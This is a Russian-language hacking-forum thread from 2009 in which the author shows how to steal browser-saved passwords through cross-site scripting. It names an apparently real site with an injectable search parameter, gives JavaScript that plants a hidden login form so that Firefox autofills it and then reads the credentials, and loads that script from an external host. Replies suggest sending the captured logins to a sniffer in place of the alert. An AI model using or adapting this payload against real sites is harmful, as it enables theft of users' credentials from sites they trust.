Раскручиваем Xss( вытаскиваем пароли )

Discussion in 'Уязвимости' started by paranoya, 12 Apr 2009.

  1. paranoya

    paranoya New Member

    Joined:
    25 Aug 2007
    Messages:
    5
    Likes Received:
    4
    Reputations:
    0
    Раскручиваем Xss( вытаскиваем пароли )

    Возможно для кого-то это не новость, но в паблике об этом я не читал, поэтому покажу что накопал.

    Мы легко уводим из браузеров кукисы и различную информацию. Но хочется большего - паролей. И их можно получить. С помощью xss.
    В браузерах есть такая фича, как запоминание паролей.
    В разных браузерах механизм этого дела устроен по разному. Будем разбирать его на примере Firefox.
    Как только загружается страница, проверяются сохраненные пароли для этого сайта. Если на странице есть подходящие формы, то они автоматически заполняются. А теперь - что нам мешает вытащить их с помощью xss? - ничего, что мы и делаем. Но ведь это довольно редкий случай, что на странице с xss есть форма логина. Идем дальше.
    Создаем такую форму сами. И, о чудо - форма, которую мы создали с помощью xss, после загрузки заполнилась личными данными. Логином и паролем.
    Разберем все на примере.

    Возьмем подопытного из темы с пассивками.

    Code:
    http://web20.a.ua/slovo?query=[XSS]&stype=word
    Смотрим форму.

    Также заодно посмотрим куда можно вставить нашу форму.
    получаем следующий код:

    Code:
    document.getElementById('radio').innerHTML = '<form action="?" method="POST"><input id="login" type="text" name="login" style="width: 0px; height: 0px; border: 0px"><input type="password" id="password" name="password" style="width: 0px; height: 0px; border: 0px"><input type='submit'></form>
    interval = setInterval('check()', 100);
    window.stop();
    
    function check() {
    	l = document.getElementById('login').value;
    	p = document.getElementById('password').value;
    	if (l!='') {
    		alert(l+"/"+p);
    	}
    }
    
    Все это дело пишем в файл
    Code:
    http://web20.a.ua/slovo?query=<script src="host.ru/file.js"></script>&stype=word
    и вуаля, получаем логин и пароль.

    На Лисе данный баг работает на ура.
    На ИЕ(6.0) и Опере - возможен только если пользователь сам заполнит поля. :(
    В Chrome у меня вообще опция сохранения паролей не работает. а жаль...

     
    3 people like this.
  2. DREASTY

    DREASTY Elder - Старейшина

    Joined:
    19 Nov 2007
    Messages:
    38
    Likes Received:
    21
    Reputations:
    1
    интересно,ща проверим
     
  3. иддкд

    иддкд Banned

    Joined:
    27 Mar 2009
    Messages:
    21
    Likes Received:
    31
    Reputations:
    0
    т.е. логин/пасс вылетают в алерте?
    а какой смысл, если алерт увидит только жертва?
     
  4. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    ну как бы алерт говорит о наличии XSS только, а вставить можно и перенаправление на снифер, например, а не алерт
     
  5. m1t4ell

    m1t4ell New Member

    Joined:
    24 Apr 2009
    Messages:
    4
    Likes Received:
    1
    Reputations:
    1
    Pashkela прав, проще на снеф перенаправлять